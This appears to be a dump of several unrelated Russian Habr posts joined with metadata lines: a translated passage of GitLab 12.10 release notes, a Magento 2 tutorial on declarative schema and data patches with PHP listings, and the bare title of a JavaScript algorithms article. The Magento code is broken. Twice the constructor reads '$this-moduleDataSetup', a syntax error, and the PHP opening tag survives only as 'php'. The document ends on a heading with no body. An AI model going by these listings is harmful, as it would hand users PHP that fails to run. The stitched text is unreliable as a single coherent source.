### Иконки для расширений файлов в репозитории
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
При просмотре файлов в репозитории GitLab теперь отображает разные иконки в зависимости от расширения файла. Разные типы файлов используют иконки разных цветов и форм, чтобы пользователи могли быстро узнавать файлы в редакторе и при поиске на своем компьютере.
Кроме того, теперь стиль иконок в репозитории согласуется со стилем Web IDE и дерева файлов мерж-реквеста. Наслаждайтесь!
[Документация по файлам в репозитории](https://docs.gitlab.com/ee/user/project/repository/#files) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/33806).
### Высокая доступность для Gitaly (бета)
(PREMIUM, ULTIMATE) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Для разработчиков и компаний критически важно иметь доступ к репозиториям Git. Если происходит остановка в работе, разработчики не могут загружать код и развертывания будут заблокированы. Для предотвращения остановок, GitLab можно запускать в режиме [высокой доступности (highly available, HA)](https://docs.gitlab.com/ee/administration/availability/index.html). Рекомендуемый подход сейчас использует протокол [Network File System (NFS)](https://en.wikipedia.org/wiki/Network_File_System), но это добавляет значительную задержку для каждой операции чтения и записи, что серьезно влияет на производительность GitLab.
В GitLab 12.10 Gitaly предлагает бета-версию поддержки высокой доступности без использования NFS. Хотя потеря данных маловероятна, фичу **пока не рекомендуется использовать в окружениях для продакшена.** В этом релизе очередь репликации и состояние лидера переместились в базу данных PostgreSQL. Ранее очередь репликации и состояние лидера хранились в памяти в прокси или роутере Praefect. Это не позволяло делать настройки, использующие несколько нод Praefect и могло привести к потере данных, если Praefect был перезапущен до того, как очередь репликации закончилась.
Первая версия высокой доступности для Gitaly наконец готова. Она работает как асинхронная очередь репликации и отдает предпочтение доступности, а не согласованности. Если происходит остановка работы на основной ноде Gitaly до того, как очередь репликации закончилась, потеря данных — это ожидаемый побочный эффект автоматического аварийного переключения. Мы уже работаем над [строгой согласованностью](https://gitlab.com/groups/gitlab-org/-/epics/1189), чтобы устранить такие сценарии потери данных.
[Документация по Praefect](https://docs.gitlab.com/ee/administration/gitaly/praefect.html) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/842).
### Фильтр по названию пакета для реестра пакетов
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Реестр пакетов GitLab позволяет вам хранить огромное количество пакетов разных типов в едином универсальном реестре. До недавнего времени единственным способом более удобно просматривать ваш список пакетов было изменение порядка сортировки. Таким образом было сложно найти определенный пакет, особенно если в вашем реестре много пакетов.
В GitLab 12.10 вы сможете фильтровать по имени (`name`), чтобы быстро находить нужные вам пакеты.
[Документация по просмотру пакетов](https://docs.gitlab.com/ee/user/packages/#view-packages-for-your-project) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/197920).
### Уровни опасности для уязвимостей при сканировании зависимостей
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Все анализаторы сканирования зависимостей теперь поддерживают уровни опасности уязвимостей, что позволяет проще оценивать их риск и приоритет. Ранее уровни опасности поддерживались не для всех языков, из-за чего некоторые уровни опасности обозначались как `Unknown`, что осложняло оценку их приоритета.
[Документация по сканированию зависимостей](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/8213).
### Оповещения в GitLab Core
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Одна из важнейших частей мониторинга и наблюдения за производительностью системы и приложений — это оповещения, которые вы получаете, когда что-то идет не так. Без них невозможно соблюдать DevOps и эффективно реагировать на превышение критических порогов в службах. Эти возможности необходимы любой команде разработчиков, и мы хотим, чтобы наше [управление оповещениями](https://about.gitlab.com/direction/monitor/debugging_and_health/alert_management/) было доступно любому, кто использует GitLab. Как часть нашего [подарка на 2020 год](https://about.gitlab.com/blog/2019/12/16/observability/), мы переместили [оповещения](https://docs.gitlab.com/ee/user/incident_management/#alerting) стадии мониторинга из GitLab Ultimate в GitLab Core. Начиная с GitLab 12.10 все пользователи смогут [создавать IT-оповещения в графиках на панели метрик](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#setting-up-alerts-for-prometheus-metrics) и получать оповещения в GitLab через [базовую конечную точку REST](https://docs.gitlab.com/ee/user/project/integrations/generic_alerts.html).
[Документация по оповещениям](https://docs.gitlab.com/ee/user/incident_management/#alerting) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/42640).
### Автоматическое добавление метрик в тикеты GitLab для оповещений Prometheus
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
При обработке инцидентов графики помогают вам визуализировать, что пошло не так, ускоряя расследование и решение проблемы. В версии 12.9 GitLab начал [автоматически встраивать релевантные графики](https://gitlab.com/gitlab-org/gitlab/issues/119016) во все тикеты по инцидентам, которые были созданы из оповещений Prometheus, настроенных GitLab. Теперь мы расширили эту фичу для работы с тикетами, генерируемыми из всех оповещений Prometheus, которые получает GitLab, вне зависимости от того, были они настроены в GitLab или где-либо еще.
[Документация по автоматическому добавлению метрик в тикетах по инцидентам](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#embedding-metrics-based-on-alerts-in-incident-issues) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/195739).
#### Фильтр для поиска по логам подов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Логи используются повсеместно, однако они полезны только тогда, когда вы можете легко найти те, что нужны в данный момент. В GitLab 12.10 мы представляем фильтр для поиска по логам подов. Он позволит вам производить поиск и задавать фильтры для логов подов в единой, масштабируемой строке поиска, которая заменяет неудобную комбинацию из терминала, фильтров и строки поиска. В конечном итоге это позволит вам быстрее находить нужные логи.
[Документация по логам подов Kubernetes](https://docs.gitlab.com/ee/user/project/clusters/kubernetes_pod_logs.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/207912).
### Поддержка настраиваемых временных интервалов в графиках метрик
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Иногда использование заранее определенных временных интервалов усложняет определение конкретного промежутка времени. Панели мониторинга GitLab теперь поддерживают настраиваемые временные интервалы. Это позволит вам кроме доступных по умолчанию интервалов визуализировать ваши данные метрик за произвольный интервал, который вы настроите сами.
[Документация по языку разметки панели мониторинга](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#dashboard-yaml-properties) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/212491).
### Легкое удаление неиспользуемых файлов LFS
(CORE, STARTER, PREMIUM, ULTIMATE) ["Доступность"](https://about.gitlab.com/handbook/engineering/development/enablement/)
GitLab поддерживает [управление большими двоичными файлами в проектах через Git LFS](https://docs.gitlab.com/ee/administration/lfs/manage_large_binaries_with_git_lfs.html), например, аудио, видео или графическими файлами. Эти файлы можно удалить из LFS путем [переписывания истории Git](https://docs.gitlab.com/ee/user/project/repository/reducing_the_repo_size_using_git.html), однако файлы, на которые нет ссылок, по-прежнему будут занимать место. До сих пор удалять такие объекты LFS можно было только при удалении всего проекта, что во многих ситуациях неприемлемо. Поэтому пользователи могли столкнуться с ограничениями хранилища и понять, что они тратят много места на ненужные им объекты LFS, но не могли от них легко избавиться.
В этом релизе мы добавили две задачи Rake: `gitlab:cleanup:orphan_lfs_file_references` и `gitlab:cleanup:orphan_lfs_files`, которые позволяют удалять файлы LFS из отдельных проектов. Задачи Rake можно запускать в отдельных проектах и по расписанию.
[Документация по удалению файлов LFS, на которые нет ссылок](https://docs.gitlab.com/ee/raketasks/cleanup.html#remove-unreferenced-lfs-files-from-filesystem) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/36628).
### Сокращение размера индекса расширенного глобального поиска примерно на 50%
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) ["Доступность"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Раньше масштабирование расширенного глобального поиска в GitLab до очень больших экземпляров было сложной задачей из-за слишком большого индекса Elasticsearch. Этот индекс состоял из поисковых данных и конфигураций, которые использовались лишь частично.
Мы заново оценили, какой контент должен быть проиндексирован, и обновили настройки `index_options` для нашей конфигурации расширенного глобального поиска. На GitLab.com мы увидели почти 50%-ное снижение нашего продакшн индекса Elasticsearch. Это изменение должно облегчить начало работы с расширенным глобальным поиском и поможет уменьшить накладные расходы при использовании расширенного глобального поиска в GitLab.
[Документация по расширенному глобальному поиску](https://docs.gitlab.com/ee/user/search/advanced_global_search.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/28085).
### Переход на обычный SQL для схемы GitLab
(CORE, STARTER, PREMIUM, ULTIMATE) ["Доступность"](https://about.gitlab.com/handbook/engineering/development/enablement/)
GitLab 12.10 перешел от использования `schema.rb` к `structure.sql` для управления схемой базы данных. Переход на обычный SQL в `structure.sql` позволяет GitLab использовать команды, специфичные для PostgreSQL, например разбиение на разделы.
Авторы и администраторы могут захотеть отслеживать изменения, если им нужно работать с миграциями. Изменения в `structure.sql` будут выполнены автоматически, не требуя никаких дополнительных действий.
[Документация по schema.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/db/schema.rb) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/211487).
### Метки соответствия требованиям для проектов
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
У организаций, использующих GitLab, есть свои политики и отраслевые правила, которые диктуют ход работы. Главной целью для многих наших клиентов является обеспечение того, чтобы их проекты GitLab соответствовали внутренней политике компании, на которую влияют отраслевые правила. Ранее не было простого способа указать проекты, для которых нужно выполнить определенные требования или обеспечить регулярные проверки, что обязательно для отслеживания статуса соблюдения требований.
Теперь можно отмечать, что проект содержит определенные правила соответствия требованиям. Для этого надо перейти в `Настройки` (`Settings`) проекта, затем в разделе `Основныe` (`General`) выбрать `Правила соответствия` (`Compliance framework`) из выпадающего меню. Эта фича закладывает основу для упрощения управления соответствием проекта требованиям в будущем.
[Документация по управлению соответствием требованиям](https://docs.gitlab.com/ee/user/project/settings/#compliance-framework-ultimate) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/118671).
### Панель мониторинга соответствия показывает результаты конвейера для последнего принятого мерж-реквеста
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Когда администратор или владелец группы оценивает соответствие своих проектов GitLab требованиям, он должен знать состояние конвейеров для развертываемого кода. Конвейеры могут содержать этапы или задания, определяющие соответствие политике организации. До сих пор администраторы или владельцы групп должны были просматривать каждый проект для проверки каждого конвейера.
[Панель мониторинга соответствия требованиям](https://docs.gitlab.com/ee/user/compliance/compliance_dashboard/) теперь включает в себя самый последний статус конвейера для всех проектов в группе. Администраторы и владельцы групп теперь могут с первого взгляда определить потенциальные проблемы соответствия в утвержденных и смерженных реквестах.
[Документация по панели мониторинга соответствия требованиям](https://docs.gitlab.com/ee/user/compliance/compliance_dashboard/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/209029).
### Продление срока действия токена доступа на GitLab.com
(PREMIUM, ULTIMATE) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Начиная с 12.10 клиенты GitLab.com могут также [ограничить срок действия токенов личного доступа](https://docs.gitlab.com/ee/user/admin_area/settings/account_and_limit_settings.html#limiting-lifetime-of-personal-access-tokens-ultimate-only) в [управляемых группой учетных записях](https://docs.gitlab.com/ee/user/group/saml_sso/#group-managed-accounts), аналогично самоуправляемым инстансам GitLab.
В разделе **Общие** (**General**) настроек вашей группы вы можете указать срок жизни для токенов личного доступа, созданных членами учетной записи, управляемой группой. Это правило будет применяться только к пользователям этой группы.
[Документация по управлению временем жизни токенов личного доступа](https://docs.gitlab.com/ee/user/group/saml_sso/#limiting-lifetime-of-personal-access-tokens-of-users-in-group-managed-accounts-ultimate) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/118893).
### Используйте «копировать/вставить» для загрузки изображения на вкладку Дизайн
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
С помощью подключения функции копирования и вставки теперь вы можете вставить последнее изображение из истории буфера обмена сразу на вкладку Дизайны в виде файла формата `.png`. Эта фича особенно полезна для быстрого обмена скриншотами из буфера обмена в тикетах.
[Документация по управлению дизайнами](https://docs.gitlab.com/ee/user/project/issues/design_management.html#adding-designs) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/202634).
### Отслеживание активности в вики
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
До GitLab 12.9, когда вы вносили свой вклад в вики-контент, это не отображалось как ваша активность в GitLab. Начиная с этого релиза вы увидите все вики-вклады на страницах проектов, групп и пользователей. Теперь вы можете отслеживать изменения в вики, а редакторы вики будут отмечены за их вклад!
[Документация по отслеживанию активности в вики](https://docs.gitlab.com/ee/user/project/wiki/#wiki-activity-records) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/14902).
### Кэширование Git-файла `info/refs`
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
При получении изменений из репозитория Git сервер объявляет список всех ветвей и тегов в репозитории, известный как refs. В некоторых инстансах мы наблюдали, что до 75% всех запросов к веб-серверу GitLab являются запросами этого списка. В лучшем случае, когда все ссылки упакованы (packed), это недорогая операция. Однако, когда есть неупакованные (unpacked) ссылки, Git должен проверить их все. Это приводит к дополнительной нагрузке на обращение к диску, что медленно, когда используется хранилище с большими задержками вроде NFS.
В GitLab 12.10 файл `info/refs` кэшируется для повышения производительности объявления ссылок и уменьшения нагрузки на Gitaly в ситуациях, когда ссылки очень часто запрашиваются. При тестировании этой фичи на GitLab.com мы наблюдали, что операции чтения происходят в 10 раз чаще операций записи, а медианная задержка уменьшилась на 70%. Для инстансов GitLab, использующих NFS для хранения репозитория Git, мы ожидаем еще большее улучшение.
[Документация по настройке дискового кэша](https://gitlab.com/gitlab-org/gitaly/blob/master/doc/design_diskcache.md) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitaly/-/issues/2525).
### Шаблон проекта со встроенным редактором статических сайтов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Хостинг статических веб-сайтов с помощью GitLab Pages — это простой и быстрый способ запустить ваш сайт. Однако редактирование контента, который заполняет ваш статический сайт, часто требует настройки сложных локальных сред разработки, понимания базовой архитектуры проекта и знакомства с синтаксисом Markdown. Для некоторых это становится препятствием для работы.
Мы делаем первый шаг к созданию первоклассного опыта редактирования статического контента сайта. Это облегчит совместную работу над контентом и не потребует от вас знания языков программирования и даже знания Git. GitLab теперь включает новый шаблон проекта, который создает статический сайт. Этот сайт изначально поддерживает Middleman, предварительно настроен для размещения на страницах GitLab, и включает содержимое, которое можно редактировать в новом, оптимизированном редакторе статического сайта. **После развертывания** сайта просто нажмите на ссылку *«Редактировать эту страницу»*, отображаемую на каждой странице, и это запустит наш новый редактор, который не показывает посторонний интерфейс, а полностью фокусируется на содержимом страницы. Когда вы закончите, одним щелчком мыши создайте новую ветку и мерж-реквест для ваших изменений.
[Документация по редактору статических сайтов](https://docs.gitlab.com/ee/user/project/static_site_editor/) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/2784).
### Просмотр образов Docker в реестре контейнеров на уровне группы
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
При использовании реестра контейнеров GitLab важно иметь межпроектное представление всех ваших образов Docker. До недавнего времени пользовательский интерфейс реестра был доступен только на уровне проекта, что приводило к отсутствию совместной работы и обмена образами Docker между командами.
С релизом 12.10 вы теперь можете просматривать все образы своей группы в приложении GitLab. Теперь вы можете делиться, открывать и управлять всеми своими образами в едином месте.
[Документация по управлению реестром контейнеров на уровне группы](https://docs.gitlab.com/ee/user/packages/container_registry/#control-container-registry-for-your-group) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/23315).
### Отключение отдельных правил в DAST
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Как инструмент — «черный ящик», сканирование DAST ничего не знает о базовой архитектуре сайта или приложения. Это может привести к ложным срабатываниям, которые пользователь сразу распознает как ложные. Например сканирование DAST, сообщающее о возможной уязвимости внедрения SQL, когда в архитектуре приложения нет базы данных SQL. Из-за этой проблемы GitLab 12.10 предлагает возможность отключения определенных правил с помощью переменной `DAST_EXCLUDE_RULES`. Она принимает список разделенных запятыми идентификаторов правил уязвимости, которые следует исключить из сканирования. С помощью этой переменной вы сможете лучше адаптировать сканирование к целевому приложению, чтобы получать меньше ложных срабатываний.
[Документация по настройке DAST](https://docs.gitlab.com/ee/user/application_security/dast/#customizing-the-dast-settings) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/118641).
### Используйте интерфейс GitLab для удаления окружения
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Эта фича позволяет пользователям легко администрировать свои окружения с помощью пользовательского интерфейса GitLab, а не через API. Управление окружениями через пользовательский интерфейс экономит время и помогает пользователям, предпочитающим проводить свое время в интерфейсе GitLab.
[Документация по удалению окружений через интерфейс GitLab](https://docs.gitlab.com/ee/ci/environments.html#delete-environments-through-the-ui) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/20620).
### Сворачивание развернутых графиков в тикетах
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
При разрешении инцидентов встроенные непосредственно в тикет графики могут сэкономить ваше время, отображая всю важную информацию в едином месте, вместо того, чтобы заставлять вас метаться между разными местами. Однако графики могут и мешать, если вы хотите быстро прочитать текст. Теперь вы можете свернуть и развернуть графики и выбирать между просмотром и их скрытием в тикете.
[Документация по встраиванию графиков метрик в шаблоны тикетов](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#embedding-metrics-in-issue-templates) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/119210).
### Отображение метрик в виде гистограмм
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Мы добавили гистограммы в качестве новой опции визуализации на панели мониторинга, чтобы помочь вам отображать ваши метрики так, как вы хотите.
[Документация по гистограммам в Prometheus](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#bar-chart) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/202000).
### Интервал времени в URL для графиков метрик
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
При просмотре графиков метрик обновление интервала времени теперь также обновляет URL-адрес графика, позволяя вам легко делиться ссылками на определенные временные рамки и добавлять их в закладки.
[Документация по интервалам времени и возможности делиться ими](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#timeline-zoom-and-url-sharing) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/198910).
### Geo перенаправляет запросы HTTP(S) к несинхронизированным репозиториям на основную ноду
(PREMIUM, ULTIMATE) ["Доступность"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Geo поддерживает [выборочную синхронизацию](https://docs.gitlab.com/ee/administration/geo/replication/configuration.html#selective-synchronization) проектов, что позволяет системным администраторам выбирать подмножество данных, которое реплицируется на вторичную ноду Geo. До сих пор пользователи, пытавшиеся получить доступ к несинхронизированным репозиториям на вторичной ноде, получали сообщение об ошибке, что проект недоступен. Это могло происходить из-за выборочной синхронизации или из-за задержки репликации. Это сбивало с толку пользователей и нарушало их рабочий процесс Git.
В GitLab 12.10 любые запросы Git, сделанные через HTTP(S) к несинхронизированной вторичной ноде Geo, будут перенаправлены на первичную ноду, чтобы пользователи все-таки могли получить доступ к репозиторию. Это означает, что пользователям не нужно будет знать, что реплицируется, а что нет, — Geo попытается выполнить запрос в любом случае. Поддержка проксирования SSH-операций в Git будет доступна в GitLab 13.0.
[Документация по настройке репликации для несинхронизированных репозиториев](https://docs.gitlab.com/ee/administration/geo/replication/configuration.html#git-operations-on-unreplicated-respositories) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/2562).
### Подсветка найденного кода в глобальном поиске
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ["Доступность"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Глобальный поиск в GitLab уже давно умеет возвращать результаты, содержащие код. Однако пользователям было неясно, где именно в возвращаемых результатах был найден их поисковый запрос. Это означало, что пользователи должны были сами искать его в результатах и могли пропустить важные случаи, где запрашиваемая строка могла быть найдена несколько раз.
Теперь каждая строка, которая удовлетворяла запросу, будет выделена, чтобы более точно отразить, где в результатах поиска было найдено совпадение. Также, если строка найдена несколько раз в одном файле, выделится каждое ее вхождение, что тоже может быть важно.
Огромное спасибо [@terales](https://gitlab.com/terales) за эту фичу!
[Документация по использованию поиска](https://docs.gitlab.com/ee/user/search/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/196384).
---
Подробные release notes и инструкции по обновлению/установке можно прочитать в оригинальном англоязычном посте: [GitLab 12.10 released with Requirements Management and Autoscaling CI on AWS Fargate](https://about.gitlab.com/releases/2020/04/22/gitlab-12-10-released/).
Над переводом с английского работали [cattidourden](https://habr.com/ru/users/cattidourden/), [maryartkey](https://habr.com/ru/users/maryartkey/), [ainoneko](https://habr.com/ru/users/ainoneko/) и [rishavant](https://habr.com/ru/users/rishavant/). | https://habr.com/ru/post/500734/ | null | ru | null |
# Декларативная схема и что с ней не так в Magento 2
Всем привет. Данная публикация не претендует на звание истины в первой инстанции, а лишь является моим личным мнением, если вы его разделяете отлично, если нет — прошу в комментарии для обсуждения.
Так вот, ближе к делу. В версии Magento 2.3 и выше появилась такая «плюшка» как декларативная схема. Что же это такое декларативная схема? Если мы обратимся к документации мадженто, то там черным по белому написано — «Декларативая схема направлена на упрощение процессов установки и обновления Magento».
Вроде бы все здорово, ведь раньше разработчикам приходилось писать очень много install и upgrade скриптов (в М1 вообще был маленький кошмар с ними), вплоть до версии 2.3 нужно было в зависимости от задач держать энное количество скриптов, а именно:
**InstallSchema** — этот класс запускается при установке модуля для настройки структуры базы данных
**InstallData** — этот класс запускается при установке модуля для инициализации данных таблицы базы данных.
**UpgradeSchema** — этот класс запускается при обновлении модуля для настройки структуры базы данных
**UpgradeData** — этот класс запускается при обновлении модуля для добавления / удаления данных из таблицы.
**Uninstall** — этот класс запускается для удаления данных и таблиц из базы.
Согласитесь, это уже лучше чем для каждого чиха писать отдельный скрипт. Но и это оказалось не очень удобно, так как приходилось следить за версионностью, отслеживать и понимать что у тебя содержится в этих скриптах, и к тому же они разростались в огромные «портянки» на 4000+ строк. В итоге и этот подход оказался довольно провальным. Количество файлов сократилось, но количество строк кода увеличилось.
Тут то и пришла на помощь декларативная схема. По факту все свелось к одному файлу — **db\_schema.xml**. В котором вы храните конечное состояние базы данных. То есть если вам для модуля нужна кастомная таблица, вы описываете нужные поля в данном файле и все. Дальше маджента сама для вас создаст таблицу. В случае если вам нужно обновить уже созданную ранее таблицу, вы просто вносите правки в файл **db\_schema.xml** и все (магия произойдет сама). Не нужно следить за версионностью, не нужно для каждой новой версии модуля писать скрипты обновления базы, по факту не нужно делать лишних операция. Согласитесь — это круто.
Но ведь не бывает бочки дегтя без ложки дегтя. (Это не опечатка, кто работает с мадженто меня поймет :) ).
Декларативная схема хороша только при работе с кастомными таблицами. Если вам нужно добавить программно атрибут в продукт или категорию, сделать INSERT или UPDATE, или в конце концов изменить что-то в Schema — будьте любезны написать патчи. О них ниже и поговорим.
Для примера рассмотрим добавление кастомного атрибута для продукта.
1. Начнем с того, что в модуле создадим следующий класс:
**Setup\Patch\Data\AddAlternativeNameAttribute.php**
Который для начала будет содержать следующий контент
```
php
namespace Foo\Bar\Setup\Patch\Data;
use Magento\Eav\Setup\EavSetupFactory;
use Magento\Framework\Setup\ModuleDataSetupInterface;
use Magento\Framework\Setup\Patch\DataPatchInterface;
class AddAlternativeNameAttribute implements DataPatchInterface
{
/** @var ModuleDataSetupInterface */
private $moduleDataSetup;
/** @var EavSetupFactory */
private $eavSetupFactory;
/**
* @param ModuleDataSetupInterface $moduleDataSetup
* @param EavSetupFactory $eavSetupFactory
*/
public function __construct(
ModuleDataSetupInterface $moduleDataSetup,
EavSetupFactory $eavSetupFactory
) {
$this-moduleDataSetup = $moduleDataSetup;
$this->eavSetupFactory = $eavSetupFactory;
}
}
```
DataPatchInterface ожидает реализации трех функций: **apply**, **getDependencies** и **getAliases**.
2. Функция **apply** — место, где создаются элементы атрибутов. Теперь нет необходимости здесь вызывать функции startSetup и endSetup, ведь мы только создаем атрибуты. Для этого создаем экземпляр EavSetupFactory, передавая наш объект moduleDataSetup, и добавляем наш атрибут:
```
/**
* {@inheritdoc}
*/
public function apply()
{
/** @var EavSetup $eavSetup */
$eavSetup = $this->eavSetupFactory->create(['setup' => $this->moduleDataSetup]);
$eavSetup->addAttribute('catalog_product', 'alternative_name', [
'type' => 'varchar',
'label' => 'Alternative Name',
'input' => 'text',
'used_in_product_listing' => true,
'user_defined' => true,
]);
}
```
3. Функция **getDependencies** ожидает массив строк, который содержит имена классов зависимостей. Это новая функциональность, которая появилась специально для сценариев декларативной схемы, и она сообщает Magento, что нужно выполнить «патчи», которые мы здесь определили, перед нашим скриптом установки. Вот как Magento контролирует порядок выполнения скриптов патча.
```
/**
* {@inheritdoc}
*/
public static function getDependencies()
{
return [];
}
```
4. Последняя функция **getAliases**, которая определяет псевдонимы для этого патча. Поскольку мы больше не указываем номера версий, имя нашего класса может измениться, и если это произойдет, мы должны указать здесь старое имя класса, чтобы оно не выполнялось во второй раз (патчи запускаются только один раз)
```
/**
* {@inheritdoc}
*/
public function getAliases()
{
return [];
}
```
Итоговый класс будет выглядеть вот так:
```
php
namespace Foo\Bar\Setup\Patch\Data;
use Magento\Eav\Setup\EavSetup;
use Magento\Eav\Setup\EavSetupFactory;
use Magento\Framework\Setup\ModuleDataSetupInterface;
use Magento\Framework\Setup\Patch\DataPatchInterface;
class AddAlternativeNameAttribute implements DataPatchInterface
{
/** @var ModuleDataSetupInterface */
private $moduleDataSetup;
/** @var EavSetupFactory */
private $eavSetupFactory;
/**
* @param ModuleDataSetupInterface $moduleDataSetup
* @param EavSetupFactory $eavSetupFactory
*/
public function __construct(
ModuleDataSetupInterface $moduleDataSetup,
EavSetupFactory $eavSetupFactory
) {
$this-moduleDataSetup = $moduleDataSetup;
$this->eavSetupFactory = $eavSetupFactory;
}
/**
* {@inheritdoc}
*/
public function apply()
{
/** @var EavSetup $eavSetup */
$eavSetup = $this->eavSetupFactory->create(['setup' => $this->moduleDataSetup]);
$eavSetup->addAttribute('catalog_product', 'alternative_name', [
'type' => 'varchar',
'label' => 'Alternative Name',
'input' => 'text',
'used_in_product_listing' => true,
'user_defined' => true,
]);
}
/**
* {@inheritdoc}
*/
public static function getDependencies()
{
return [];
}
/**
* {@inheritdoc}
*/
public function getAliases()
{
return [];
}
}
```
5. Теперь запускаем **bin/magento setup:upgrade** для того, чтобы наш патч применился. Для всех патчей, которые успешно выполнены, Magento вставляет запись в таблицу базы данных **patch\_list** со значением поля **patch\_name**, равным значению нашего класса (Foo\Bar\Setup\Patch\Data\AddAlternativeNameAttribute).
6. Удаление значения из таблицы **patch\_list** приведет к повторному выполнению патча при запуске установки **bin/magento setup:upgrade**. Данная функциональность будет полезна при отладке патчей.
Итог:
+ Декларативная схема упрощает работу с кастомными таблицами
+ Отсутствие надобности следить за версионностью
+ Легкий апгрейд данных в таблицах и кастомизация полей таблиц
— Отсутствие возможности добавлять атрибуты в продукт-категорию через декларативную схему
— Если модуль универсальный для версий 2.1, 2.2, 2.3 придется писать и декларативную схему и инсталл скрипты.
— Необходимость написания патчей для работы с core'вскими таблицами.
Возможно, в обозримом будущем, когда M2 полностью перейдет на декларативную схему и отпадет надобность писать патчи, это будет супер удобно. Но будет ли это и когда случится, вопрос остается открытым. | https://habr.com/ru/post/462795/ | null | ru | null |
# Классические алгоритмы и структуры данных на JavaScript
